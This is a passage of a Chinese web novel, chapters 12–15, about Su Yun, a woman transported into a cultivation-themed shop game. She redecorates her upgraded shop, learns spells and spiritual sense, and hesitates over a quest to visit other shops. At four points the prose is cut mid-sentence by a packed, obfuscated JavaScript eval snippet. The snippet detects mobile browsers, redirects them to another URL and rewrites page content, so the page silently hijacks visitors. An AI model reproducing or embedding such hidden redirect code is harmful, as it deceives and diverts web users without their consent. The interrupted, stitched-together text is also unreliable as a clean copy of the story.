合成器名为初级宝箱,能够合成出耳环、戒指、头饰等各类饰品,也能合成螺钿、漆盒、锦盒等各种包装盒。 但苏芸只是点了几下,刚合成出一枚戒指,初级宝箱便显示停工,要休息四小时后才能继续用。 奖励的是个基础景观开出了两个盆栽、两盏立杆路灯、两条长凳、一扇屏风、一块地垫、一扇窗户、一个横向格子书架。 这写等待会儿再看着布置。 秘籍碎片也先放一边,铁剑有了,待会儿可以学视频里的剑法。 这回的抽奖券先不抽,再攒一攒来个十连。 奖励的时装还是明制款,鹅黄短袄配大红马面裙,面料上有精致繁复的绣文,很是漂亮。 但这明显是冬款,因为衣服的袖边领子都有毛皮装饰,企鹅除了衣裙还有一个配套的毛茸茸的帽子。 就现在的天气,估计大半年后才能穿。 全都看完后,苏芸有点小失望,感觉奖励不算多啊。 不过这回等级提升后,不但灵力值上限从一百一增加到一百二十五,灵力恢复速度也从三分钟+1提升到两分钟+1,这点还是很好的。 苏芸取出一套新的干净的睡衣穿上,顺便扫了眼地面,发现木地板依旧干燥整洁,没有一点积水,便也不急着收拾,溜溜达达去看铺子其他变化了。 房间有灯了。 两面较长的墙面上间隔地安装了四组壁灯,别看都是一个个小灯,但照明能力很强,就是一时没找到开关。 苏芸将光屏调整到卧室页面,发现依然可以跟手游一样调整室内布局,便动手了。 她把原本对着门的床换了个方向,把衣柜从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563966|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠卫生间的那面墙挪动床的一侧,横在整个卧室中间,这样等于手动将卧室隔成一室一厅了。 梳妆台位置不变,但也跟着调整了方向,床头桌直接挪进了床里边。 现在的床堪比一个小房间,很有安全感了。 苏芸还过去翻了翻,发现梳妆台除了配一面镜子,只送一套木梳,并没有其他额外赠品,就很失望。 不过拔步床配套的木箱里有一个复杂的组合漆盒,打开里边每个小格子都装了不同的果脯、糕点、干果…… 床头放零食是什么组合。 苏芸可不喜欢在卧室里吃东西,她顺手往嘴里塞了一粒果腹,然后提着漆盒去看别的地方。 衣柜的多出一排排衣架,和一床叠好的被褥,但没有衣服。 苏芸看了看,把漆盒放在罗汉床中间的茶几上,又把格子书架安置在衣柜背后,靠着罗汉床旁。 书架自带了基本书籍的,苏芸放出书架后也过去翻看了下。 全是奇闻轶事之类的杂书,待会儿再看。 她把先前的小木墩搬到摇椅边,地垫铺在罗汉床前面,罗汉床基本是当沙发用了。 屏风……苏芸环顾一圈后,把屏风放在罗汉床和茶几中间,这样打开临街的窗户时,外面的视线便会被屏风阻隔。 至于窗户,其实这种一字型户型,两面较长的墙壁安装两三扇窗户都是可以的,但苏芸还是打算等看完楼下再说。 下楼时,发现靠楼梯的墙上也多出一个壁灯,而楼下屋顶多出一盏华丽的国风吊灯,之前只急着找卫生间,都没注意这些。 货物架还是到顶的格子架,但换成了红色,且周边一些不常用的格子里添置了几个造型不一的瓶子。 苏芸过去一个一个看了,只是装饰花瓶,没有功用也没装东西。 柜台处多了一张高椅,柜台整体款式不变,但更加宽阔,色泽也更亮眼,咋一眼也以为是黑曜石,可仔细看只是上了很好的黑漆。 台面上增加了许多摆设,一个算盘、一套挂着四支毛笔的笔架、一个拥有计时功能的罗盘、一本册子、一个印章。 抽屉里则多了几块砚台、一些墨条、一些空白册子。 这些都不算什么,楼下变化最大的是原本两侧的桌椅。 左侧的座椅升级成极为华丽的红木制,还安置了工艺精湛的软垫,而右侧扩大出的空间多出了一张长长的罗汉床、三组椅子和两张茶几,这里简直能开沙龙了。 苏芸见楼下大门两旁各开出一扇大窗户,便把奖励的外观窗安置在楼上临院子的方向。 剩下的盆栽、路灯和长凳本想都放在后院里,但打开后门一看,发现后院的空地多了一组圆石桌石凳,旁边还有一架秋千,根本用不上额外的凳子。 就连路灯,后门旁边的墙上也有一个小壁灯,顶多再在厨房旁边靠近山路的地方安装一盏路灯就够用了。 而苏芸手里除了这次奖励的外观路灯,还有上次抽奖抽出来的路灯。 怎么办?放到鸡窝边? 苏芸刚把灯放过去,立刻招来大公鸡一连串不满的‘咯咯哒’。 12. 第 12 章 后院里变化最大的就是大公鸡的窝。 稀疏随意的树枝栅栏变成工整的木板栅栏,栅栏里边多出一套小小的足有三层的宠物别墅,只是大公鸡依然蹲在枝头的窝里睡觉,并没管这别墅。 苏芸也觉得这攀爬、玩耍、吃喝等功能于一体的别墅给大公鸡用……是有点浪费了。 没有狼,来只猫也行啊。 在被啄前,苏芸赶忙塞给大公鸡一粒龙涎丹堵嘴,然后利落地将路灯挪到灶台后的山路口。 灶台也比以前更加宽阔,锅从一口变成两口,旁边还多了一个石磨盘和几个大酒坛。 另外靠近矿洞的位置多了一口水井,但没有配打水装置。 苏芸记得这口水井的主要用处是钓鱼和养鱼…… 转一圈后,感觉后院不需要额外的外观做装饰,想了想,苏芸打开光屏,一阵尝试后她发现光屏也能显示街上的景象,立刻一顿操作。 盆栽分别摆在门边,长凳放在盆栽外侧,再往外分别安放一盏路灯。 光屏上的视角能看到杂货铺全貌,刚好升级后的铺子苏芸也没看过。 依然是一栋木质小楼,但表层通体上了红漆,屋檐、窗棂、墙壁全都有浮雕设计,仔细比对其实更改的部分不多,但只这几点变化就让铺子整体气质上升不止一个档次。 而且铺子内空间扩展,但铺子外并未体现出来。 另外铺子大门两侧,有从二楼屋檐往下延展的一溜灯笼串。 十分抢眼的大红灯笼,以至于明亮的路灯显得多余。 但这种外观物品本来就是用来装饰路面的,除了放这里还能放哪儿? 苏芸目光往街上看去,试着把路灯挪到更远一点溪边,居然成功了,但看了看她又立刻把路灯挪回来。 还是等外观多了后再统一布置街道,不然一盏灯孤零零地杵在街上,看着很难受啊。 与此同时,街上行人几乎不约而同朝杂货铺的方向看了一眼,但很快他们又各忙各的去了。 苏芸对此一无所知,她几番挪动长凳和路灯的位置,直到挪动出一个画面最美观的位置才停手。 正想跳回棋盘时,苏芸忽然想到什么,好奇地在其他铺子上戳了戳。 不知道这样能否直接查看那些铺子的具体信息呢? 结果弹出了一条任务框。 【你升级自己的铺子后,突然也对小镇上其他铺子升起了同样的责任心,你决定为小镇建设出一份力。】 不不不,我没有! 苏芸立刻缩回好奇的手,还想跳转到其他界面。 但显然来不及了。 【为了制定更好的升级方案,你决定去其他店铺探一探情况,探店打卡活动现在开启,任务限时:七天。】 苏芸:“……” 她狠狠拍自己右手一下,这就是多手惹的祸! 苏芸隐约记得打卡任务,这活动的奖励好像挺丰厚的,但更重要的是,很多后期任务都是由此开启,算主线任务之一。 只是她没想到外出任务会来得这么快。 苏芸深吸一口气,顺势在秋千上坐下,纠结没一会儿她便打开棋盘咔咔一顿点。 先把开出的灵力团肝完再说。 等棋盘被合成品占满,苏芸转移阵地回到店里。 先坐在柜台后的高椅上,后来干脆躺在楼下的罗汉床上,旁边的茶几上陆陆续续多出些瓶瓶罐罐…… 等把奖励开出来的灵力团都用完,又充了一次灵晶,才停下。 她跳转画面打开那条剑法视频,可看了许久,视频也没有自动增长,来来回回就两招,拔剑刺出去,再收剑。 这有什么可学的。 是等级不够,还是缺少前置条件? 苏芸烦躁地在光屏上划来划去,画面不断跳转着。 片刻后她关掉光屏,噔噔噔上楼,走到一半又下来从柜台下方的抽屉里拿上一个空白本,接着往楼上去。 她打开临街的窗户,刚坐下便发现不对。 这摇椅舒服但是不方便,这布置不科学,苏芸起身把罗汉床和摇椅调换了位置。 还完后犹自不满意,又折腾着把隔出来的客厅全部重新布置一次,才安稳着坐到罗汉床的一侧。 她摊开本子,忽然又跑过去把茶几上的漆盒拿过来,连吃好几粒果腹,才一边看看窗外,一边拿笔时不时记下点什么。 重点是花店、布店、茶店、药店,这四个地方都有每周交易任务,印象比较深,另外还有个马车店,有定期外部交易任务。 还有一个特殊商人,能兑换各种种子、外观、高级道具,但每周兑换数量有限,但不记得具体位置了,每次都是直接点传送的…… 还有什么来着? 苏芸打开游戏日志,对着人物卡一张张地分析,试图唤起记忆。 对了,装修街上的铺子不用像杂货铺这么麻烦从每一个家具、每一个角落开始,攒够了金元宝和特殊材料,就能一键升级。 收获的奖励和经验都不少,但和杂货铺一样,所有铺子升级不止一次,甚至有很多轮。 倒是没难度,都是攒钱、凑材料一样的流程,纯为了水剧情。 这么一想,都能玩到那么后面,其实出门也不会怎么样吧? 主要是那大触角有点搞心态,明明手游里没出现过,香铺店也没触发记忆深刻的任务啊。 苏芸放下笔,在旁边空地上打了一套拳,想起什么又去卫生间里准备把衣服洗了。 结果发现刚把衣服泡进去立刻浑浊的水现在变得异常清澈,她拎起湿哒哒的衣服,几个沾了泥土的地方也变得干干净净。 除尘粉这么强效吗?比那些强效洗衣液强多了。 苏芸意思意思搓了几下,换清水时,发现没有任何泡泡之类的,触感也特别清爽,便只换了两次水就拧干了衣服。 接着又过去把换下来的睡衣也潦草了洗了。 但是晒哪呢? 苏芸到处找地方。 生出卫生间的这面墙本来就是楼上唯一没开窗的墙,开出来的卫生间虽然带了窗,但窗户打开离旁边的山真就是一手之隔。 想到大公鸡从山林间翻出的小食物,苏芸是不敢随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563967|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便开窗的,要不是因为这窗是天生自带,她都想挪个位置。 其实可以挂院子的秋千架上,但懒得麻烦了,苏芸直接把临山的窗户打开,就这么挂在支窗的撑杆上。 接着她没事找事干地把初始套装和开出来的冬装挂好。 又把卫生间矮柜里的东西一一布置在适合的位置,还拿了一盒纸巾放客厅里…… 到处磨蹭一会儿,她从挪过来的书架上拿起一本杂书,看着看着眉头就皱巴起来。 这种排版方式好不习惯啊,而且屏幕里都是简体字,但实体书却是繁体。 联系上下文配合偏旁勉强能看,但是越看越烦。 苏芸焦虑地吃了一把干果,这才注意到,这漆盒整体不小,但每一个小隔间真不大,这么吃了许久,果脯、糕点还是那么些,没增没减。 难道是无限量的? 她顿时来了兴致研究好一会儿,后来还是棋盘发现,零食还是有限的,只是数量远不止显露在外的那些,够她吃好几天。 不只是漆盒,升级后得到的东西大多有此类特性,牙粉、纸巾等,都显示能用许久。 苏芸点开厨房系统,扔了些水果进去,试图生产果腹,结果产出了草莓炒菠萝这等逆天菜品,菠萝表层还焦了…… 她放弃跟灶台较劲,继续看向窗外。 看到某些非人生物超乎常理的行径时,便又焦虑地起身打拳。 拳法已经练得很熟练了,就是不知道实战效果如何。 也没有木头人可以测试战力。 等等,没有木头人但有石头人啊,她呼唤石精回来。 石精身体很硬。 苏芸刚开始不敢用力,怕真打碎了,等确定石精抗造后,一拳过去手疼得不行。 但她换个方式一推,小石精立刻被推开了,还懵懂茫然地看她一眼。 等对手换成精英石精,精英石精巍然不动,并把她推了一个趔趄。 苏芸颓了,这还没用斧头呢,连不会说话的石精都打不过,那些能化成人形的妖肯定更厉害。 她丧气地窝回罗汉床上,光屏里点来点去没有可玩的,又拿起刚刚那本书,然后就睡着了。 醒来的时候又是晚上十一点多。 用打坐代替睡眠后,苏芸真正睡着也不会睡很久。 她合成几样小东西,留了点灵力玩消消乐,又种了一波水果……就这样,终于熬过十二点。 苏芸立刻看视频。 第一条视频是遮光术,关灯用的,真是很及时,第二条是开灯咒语。 苏芸踩着罗汉床凑近看墙上的壁灯,裹着壁灯的铜片上有特殊刻纹,咒语加上刻纹,就能开关指定的灯,不加刻纹,一定范围内的灯都会被操控。 她都试了试,不论是这一盏灯,还是整个卧室包括床里头的月牙灯都能很顺利地开开关关。 过程中没出现任何失灵、意外,也没有特殊感觉,跟之前学飞针咒语的时候完全不一样。 可为什么月牙灯也在法术控制范围内? 而且月牙灯可以通过触摸开关,壁灯却不行。 13. 第 13 章 第三条视频是火焰术。 苏芸跟着学了学,同样很轻松地在指尖搓出比打火机最低档还小的火星。 穿进游戏还是很好玩的,以前哪有机会体会手指冒火啊。 这感觉很奇妙,她能明确感觉到这团火现在一定不会伤害自己,甚至这火像身体的一部分。 但扔出去就不一定了。 可这点火星子能攻击谁啊,但浴室里的熏香可以用了,也算及时。 第四条视频是风干术,苏芸背下咒语后试着对挂在窗外的湿衣服用了。 衣服瞬间干燥清爽,连皱痕都没留下。 苏芸看着衣服若有所思,其实仔细想想,杂货铺升级前,棋盘上的东西也足够她日常生活的。 除尘术能清洁衣服、清洁身体,清洁一切,辟谷丹解渴耐饥,还不会有五谷轮回的烦恼。 其他很多生活需求都有对应的丹药符箓可解决,是苏芸不习惯用那些,才天天念叨着要开这开那。 但游戏遵从她的习惯增加了这些生活用品。 苏芸知道卫生间能开出来,但生活用品类的合成路径应该是新增的。 如果之前和成过这些古色古香的款式,她不会一点印象没有,因而她确定这又是和手游不一样的地方。 这算不算游戏系统的迁就退让呢? 那游戏应该不会随便让她死吧? 苏芸唰唰几下耗尽灵力,接着点开第五条视频。 “学会内视己身,你才算突破先天,真正踏入修者行列。” 年轻男女说着便将手按在小女孩的头顶,“别怕,第一回我们带着你。” 苏芸看着看着视野忽然被强行拽到一个奇怪的地方。 她仿佛置身浩瀚宇宙之中,周围黑漆漆的,但又有星星点点按照某种特殊规律在快速游动、运转着,而最中心的位置有一团明亮似太阳的存在。 但太阳是红色,那一团明亮却是五彩斑斓又异常和谐。 她恍惚间明白了,这是她的‘内’,原来这就是内视己身。 当意识到这一点后,视野一下子变得更加开阔,不仅仅是这一团‘宇宙’,她还看到‘宇宙’之外数条奔腾的河流。 她隐约明悟,刚刚是田,这些河流应该四肢、经脉。 视线再往上,她看到了所有河流之上有一团云,当集中盯着那团云看后,苏芸感觉自己一下子被那团云给吸了进去。 另一片广阔的天地在眼前开启。 这是种很奇妙的感觉,自己把自己吸进另一个地方。 苏芸有些茫然、莫名,但又能敏锐地感觉到周围云团能够受自己操控,她开始捏云,把云团捏成各种各样的造型。 捏着捏着,她也不知道怎么想的,捏出了一栋小楼,又在小楼后捏了个小院子,正要接着捏街道和大山时,一股疲惫突然涌了上来。 然后苏芸就醒了。 【你回想幼时的教导有所感悟,提前学会了灵识的使用方法。】 【恭喜你获得修行礼包:灵晶宝箱×1、灵识修行诀×1】 【前期的积累加上这次的顿悟让你直接迈入下一大境界,恭喜你由启灵境踏入凝真种。】 【凝真种:初启灵识、五感超凡、勘破真实、凝气成种】 【恭喜你获得修行礼包:高级灵晶宝箱×1、特殊工具宝箱×1、初级灵植大全×1】 且这回升级后,刚提升不久的灵力上限直接增加到了两百,但自动回灵依然是两分钟。 这么一对比,在棋盘上点点点、玩经营游戏的升级方式,看起来轻松,可每次只要进入这种迷糊的领悟状态,似乎更省事,且升级速度更快。 这游戏的主线果然还是修行吧。 苏芸熟练而快速地点开宝箱,灵晶入库,特殊工具宝箱开出一个二级人面树桩,一块白色的石头。 树桩再升一级,而石头最终合成出新的合成器,八面八向,中心有阴阳二色的阵盘,合成路径中包含计时器、阵盘等。 但苏芸没急着合成新物品,而是看向灵识修行诀和初级灵植大全。 她毫不犹豫先看灵识修行诀。 这是苏芸获得的第一本不是碎片而是完整的技能书,点击后有立刻使用和慢慢自学两个选项。 这还用选,当然是立刻使用! 技能书一下子在光屏上自动放大、展开,而后‘嗖的’一下朝着她脑门飞去。 苏芸下意识仰头,怎么可能躲得过。 她只觉有一道金光撞进脑海,而后有什么东西在脑子里炸开,以至于脑子‘嗡’的一下,一时丧失了感知。 等恢复清明后,苏芸明确‘看’到脑海里多了一道烙印。 几乎不用想,她便无师自通地对着旁边茶几上的小茶杯一用力,杯子巍巍颤颤漂浮起来,慢慢地越来越稳。 苏芸放下杯子拿出细针,意念一动,掌心的细针嗖地一下飞了出去,在刺穿墙之后还飞了很远,直到没入山石里。 她再试了试,发现想召回细针时遇到极大阻力,可见针刺得有多深。 苏芸开心地笑了,这下终于有了自保之力。 她拿出一把铁针准备继续练习,便听到‘咔嚓’一声,飞针刺破的墙面裂开了一道缝。 “……”升级后的铺子材料这么差吗? 苏芸心疼地花了一笔金元宝,让石精重新修复好墙面,这回不敢再在房间里练了。 继深夜种田后,苏芸开启了深夜飞针练习活动。 直到,“咯咯哒!” 顶着被大公鸡啄出来的包,苏芸郁郁回到楼上,同时也从飞针操纵成功的喜悦中慢慢冷静下来。 苏芸用三级人面树桩合成出一个花篮,这回花篮喷出的种子总算配得上仙侠游戏的设定了。 凝气草、安神草、润心草,另外几样还是粮食小菜,但名字变成了清灵稻、幻心麦、凝灵黍、金盏茄、赤心萝卜。 种植的时候,系统提示田地不符合种植标准,需要升级。 田地升级需要去山里挖土矿和特殊宝石,宝石之前积累的还有,苏芸安排石精去挖土,等八块田全部升级后立刻种下新种子。 她没接着肝,新的合成器必然会引来新的客户,她想留些灵力余地给白天的经营任务。 苏芸打开初级灵植大全,翻找出刚刚几样植物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563968|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的介绍,棋盘上只会显示简单的关键信息,不够全面。 这几样恰好是炼丹炉里前三样合成物止血散、辟谷丹、清心丹的主要材料,苏芸下意识记了下,而后才后知后觉意识到什么。 基础符箓大全是一页一符,灵植大全是大片的繁体字,但她突然没有阅读障碍了。 初启灵识、五感超凡……看来灵识的作用比之前以为的还要厉害。 脑海里的修行诀只是让她自动学会如何修炼灵识,但没有直接技能,灵识具体有什么用,能达到什么效果,都要她自己思索。 立刻学会用灵识操控飞针,是因为之前对着针念了百多遍咒语毫无效果,她一直猜测跟林杏说的神识相关。 虽然这回开的是灵识,可苏芸还是一下子联系上,并大胆尝试。 苏芸能想到的也就是飞针和林杏展示过的意念交流。 原来灵识还能增强阅读能力和理解能力呢?还是因为等级提升了大境界,记得刚进入启灵境时,视力和记忆力就都有所增强。 又或者两者都有。 苏芸翻了几页书,感觉没错,现在的她简直跟开智一样,但凡高考前有这技能…… 等等,既然灵识效果这么好,那剑法呢? 苏芸立刻看剑法视频,很可惜,视频还是没长长。 她放下剑,悻悻的继续看灵植大全,但看着看着,手里的书丝滑换成了杂书。 少了阅读障碍后,杂书就变得很有趣了,像单元小故事,还记录了许多小知识,比如她现在知道原来壁灯是用一种叫作‘照明石’材料制作而成。 照明石是一种埋藏在深山的天然发光石,它就没有‘熄灯’的选项。 所谓的开关灯,重点在关灯,关灯是用法术强行遮掩住石头的光亮,开灯只是把遮掩术给撤下了。 而月牙灯触摸开关法,是因为上面刻录了遮掩术,所以手控和音控都行。 接着苏芸又从另一个修士争夺法器的小故事里知道,对着飞针念咒本来就不是用来操控飞针的,念咒是为了认主。 只有学会使用灵识才能完成御物,所以学会使用灵识后,没念咒她便直接让茶杯漂浮了。 不过以后有事没事的可以对家里东西多念咒,免得被人意念操控。 把杂书当小说看的后果就是,大公鸡在后院里打鸣时,苏芸才发现不小心熬穿了。 今天还没打坐呢,第一次打坐足足五小时,最好选在夜里,灵力虽然自动恢复了,但精力不是最好的状态。 反正又不用上班,苏芸换了姿势继续看小……杂书。 一刻钟后,临山的窗户被从外强行打开,大公鸡飞了进来,绕过屏风看到窝在罗汉床上的苏芸,顿时眼神凌厉起来。 苏芸莫名其妙、怒火中烧:“发什么疯!我又没惹你!” 她插着腰跟大公鸡对峙! 学会飞针的苏芸已经不是昨日的她,她现在不想要大公鸡壮胆了,没在怕的! 大公鸡一跺脚,爪子在地面抓出深深的痕迹,又一啄,厚重的茶几上就多了一个洞。 苏芸:“……” 干嘛啊,她什么也没干啊。 14. 第 14 章 大公鸡再次对着苏芸叫唤一声,便微微撑着翅膀踱步往楼下走。 看背影,居然有几分高人背手离去的架势。 没一会儿苏芸听到楼下大门打开的声音,接着又是一连串‘咯咯哒’传来,她甚至能从鸡鸣中听出几分催促、严厉。 苏芸这才意识到,这是在催她赶紧开门营业。 “……” 没等她再磨蹭,临街的窗也被强行打开,大公鸡以一只爪子撑起窗户,另一爪金鸡独立的高难度姿势立在窗棂上,目光压迫感十足地盯着苏芸。 仿佛她再不行动,又要动爪。 “……知道了。”苏芸说:“我换身衣服就下去。” 大公鸡这才扑腾飞下去。 苏芸没好气地翻了个白眼,就离谱!灵宠还管什么时候开店? 有KPI吗? 下楼时,大公鸡本来蹲在罗汉床的软垫上,见她过来,便抖了抖羽毛,溜溜达达往后院去了。 苏芸今天底气足了许多,便没再拖着大公鸡陪伴。 没多久纸婆婆过来了,一进门便欣慰地说:“你成长得很快,想来不久就能让铺子重现当年辉煌了。” 果然,对于店铺升级的事,这里的人会有相对应的反馈,而不是像游戏里的NPC,一无所觉、无动于衷。 “当年辉煌?”这应该是前置剧情,可惜苏芸压根没看。 纸婆婆却没有多说:“也不必太在意,你做得很好。” 那就等触发剧情再说,苏芸把提前准备好的丹瓶递过去,还提了句:“今天有新货上架。” 纸婆婆认真看苏芸一眼:“以你如今的修为,确实能炼制出更多宝物,不过我用不上那些。” 苏芸也不失望,她就是试探互动反馈。 很快,关于新合成器的交易任务便上门了。 双胞胎姐妹买了各种香膏香粉,可见除了丹药符箓之外,这些生活用品也很有市场。 之前过来买过符的书生来买了阵盘。 温婉女子过来买了两枚戒指,以宝盒的生产效率,这两枚戒指是一整晚的全部结果。 她对附带的螺钿盒不感兴趣,只说:“以后炼制的你都给我留着,我要一百个。” 苏芸:“……” 一百个戒指得多少触角带啊? 莫非这位不是章鱼之类,而是更猎奇的存在? 苏芸不敢深思,含糊点点头便快速接待下一位客户。 等把晚上肝出来的东西都交易出去,耗光恢复的灵力又充了两次灵晶,苏芸便利索关上大门。 大公鸡没管过她中途关门的事,仿佛对她的灵力值门清。 之前苏芸都是一大早就积极开店,还真不知道稍微晚一点大公鸡会来这一出。 那前两天又是贿赂龙涎丹、又是说尽好话,就为了让大公鸡待在店里增加安全感的行为算什么! 苏芸带着点残余的怨气上楼打坐。 这时她才发现,升级后连打坐的情况也出现了新变化。 每次打坐对苏芸都是补觉,这回沉睡一段时间后,她意识中途苏醒了,但身体没有彻底醒来,而是保持一种奇妙的混沌状态。 她能感觉到现在灵力已经恢复到最佳,她可以自由选择直接醒来还是继续打坐。 继续打坐,灵力值不会再上升,但她觉得一直这种状态也会有一定好处。 犹豫了一会儿,苏芸还是选择醒来。 她看一眼时钟,过去了将近四小时,现在刚好到大中午。 苏芸打开棋盘开始准备东西。 片刻后,她把棋盘重新布置了一下,用心记住东西分布,接着取了一些东西放在编织箱里。 苏芸摸摸手腕的保命符,提着行李箱脚步沉重地下楼,待走到大门口时,她仿佛下定了某种决心一只脚迈出门外。 中午阳气最足、妖邪退避的设定应该在哪个世界都能通用吧? 苏芸勇敢地往外去,但才走几步,她又想到什么返回铺子里。 “石头,精英?” 她找到在后院玩的小石人,“跟我一起出门。” 正所谓人多力量大,苏芸又看向大公鸡:“你想出门吗?” 大公鸡自顾自地在草丛里啄着什么,连个眼神都没给她。 苏芸故作轻松:“不会在跟我斗气吧?我都没生你的气。” 大公鸡找出一条几乎有手臂长的超级大蜈蚣,苏芸下意识后退好几步,大公鸡利落地生吞了蜈蚣。 苏芸:“……” 她带着石精往店铺走,待走到大门口,突然一咬牙一跺脚又回头冲到后院一把抱住大公鸡就往外去。 大公鸡只看她一眼,并未反抗也没攻击。 等出了门后,苏芸一边熟练地塞一粒龙涎丹过去,一边嘀咕:“同住一个屋檐下,咱们现在也算相依为命,外出任务陪我一起怎么了,不能不讲义气啊。” 何况跟宠不都是自动跟随么。 大公鸡来者不拒地吃下丹药,苏芸自以为说通了,放心地放下它。 结果才走几步,扭头便见大公鸡慢条斯理地溜溜达达地往杂货铺方向去。 苏芸赶忙逮着大公鸡,想了想,她取出一批布,然后把布撕成一条一条的,再系在一起。 接着苏芸将布条绕过大公鸡的翅膀套在它脖子上。 大公鸡先还不明白苏芸做什么,等苏芸拖着布条试图拽动它时才反应过来。 它脚下一划拉就撕开了布条,而后眼神凛冽,飞起对准苏芸就是一啄。 苏芸抱头乱窜:“我错了,我错了!” 大公鸡又狠狠给了她两下,才叫唤一声继续往回走。 苏芸愤怒跺脚,很有骨气地转身就走,结果刚靠近街上,第二家铺子的触角便张牙舞爪蔓延出来,还特别活跃地扭动着,仿佛在特意跟她打招呼。 她脚下丝滑地转了个圈,人飞快回到杂货铺里。 不科学! 烈阳当照的,怎么还显原形呢? 下定的决心、鼓起的勇气全都不翼而飞,苏芸决定再苟一苟,她作息变得跟之前差不多。 每天打坐回灵、合成经营,看视频、合成经营,间歇的挖矿、种地、砍伐,游戏实在没有可玩的,就练拳、画符、练飞针。 学会飞针后,苏芸对飞针的喜爱一下子超过拳法和画符。 画符感觉跟练字差不多,过程中倒是没遇到阻碍难关,很顺畅的一个符接一个学会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563969|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,可也有点乏味。 何况棋盘合成的符足够日常使用和经营,苏芸的练习更多是为符器增加更多合成选项。 而练拳……连小石人都打不过,她觉得这拳法也就是花架子。 中途,苏芸尝试过同时控制一把飞针,后来发现以她现阶段的能力,同时控制十根针就是极限,再多就会乱。 后来她又试了试用铁钉代替细针,说不定攻击力能更强。 并没有,铁钉速度比不上细针。 当晚过了子时后,苏芸没有立刻看视频,而是先念叨一些什么,才点开个人版面。 在看了两条画符视频、一条对某种灵植的采集处理手法视频后,她看了两条关于飞针实战视频。 果然,苏芸隐约感觉到每天看的视频内容或许跟自身、想法意愿有关,可不是很确定。 但现在她确定了。 第一条视频有画外音,应该是年轻男女中的女性。 “莫要因为灵针细小,便小看灵针之威能,但也莫要将针同其他厚重法器比较,要学会善用灵针隐蔽、灵巧的长处。” 接着画面里便有一根飞针从远方飞来,直接刺入一人丹田气海之中,被击中的立刻轰然倒地,生死不知。 另一条视频是飞针刺入一人大脑识海中,对方立刻五孔流血,顿在原地,无知无觉。 问题是,这两条视频只能看个特效,和练剑视频一样没法延长,就算心神向往也学不了其中关窍。 苏芸反复认真看了好几遍,也没能成,才慢慢明白过来。 虽然视频会根据她的想法给内容,但如果达不到学习门槛,那就是浪费机会。 因而再隔天时,苏芸没再强求过于厉害的手段。 这天除了一条灵植采集视频外,另外四条分别为荆棘术、土陷术、火球术、金刺术的学习视频。 这符合苏芸的等级了,她没有坎坷地学会了法术。 触发打卡任务后的第三天,苏芸又小升了一级,从初启灵识踏入五感超凡。 到了这一步,她也愈发感觉到身上出现的变化。 先前她觉得晚上能将街上的情形看得清清楚楚,这视力已经很牛了,现在才明白五感超凡是什么意思。 简单地说,就是有人在背后,她也能‘看’到。 不是真的看到,而是她能精准捕捉到特别细微的声音、气味,然后种种信息综合到一块后,汇聚出一片景象在她脑海里,于是她‘看’到了身后的一切。 同时苏芸也觉得任务不能再拖下去了。 很明显,现在的升级速度比刚来时慢了很多,之前每天都有升级提示,现在却过来两三天才有。 且以后升级需要的经验值会越来越多,那就绝不能随意错过任务。 苏芸坐在后院的石凳上,对着鸡窝的方向念叨:“老实说我真不明白这游戏为什么选中我?” 她是此类游戏爱好者没错,但玩这游戏的同时还很博爱地玩了许多同类游戏,选粉丝轮不到她啊。 要说氪金,三五块的是家常便饭,可比起那些买外观、买道具的玩家,她这种氪金程度是小儿科啦。 “但不管为什么选我,来了后我一直很努力地在好好生活啊。” 15. 第 15 章 对苏芸来说,这次穿越真是毫无征兆。 没出车祸、没得绝症,她也不是孤儿,走着走着就穿了,一切发生得猝不及防。 苏芸走到鸡窝前:“你也看到我每天的努力吧。” 没日没夜地肝任务就不说了,苏芸这两天甚至开始主动适应各种合成产品。 她试着只靠辟谷丹、除尘符维持正常生活。 老实说还蛮好克服的。 第一回很不习惯,但第二回立刻体会到这些玄幻产物的好处了。 苏芸觉得这两样东西特别适合熬夜星人,原来的她熬夜到一个关键点的时候,就会面临又累又饿、头发还很油、但又只想睡觉懒得再动的尴尬境地。 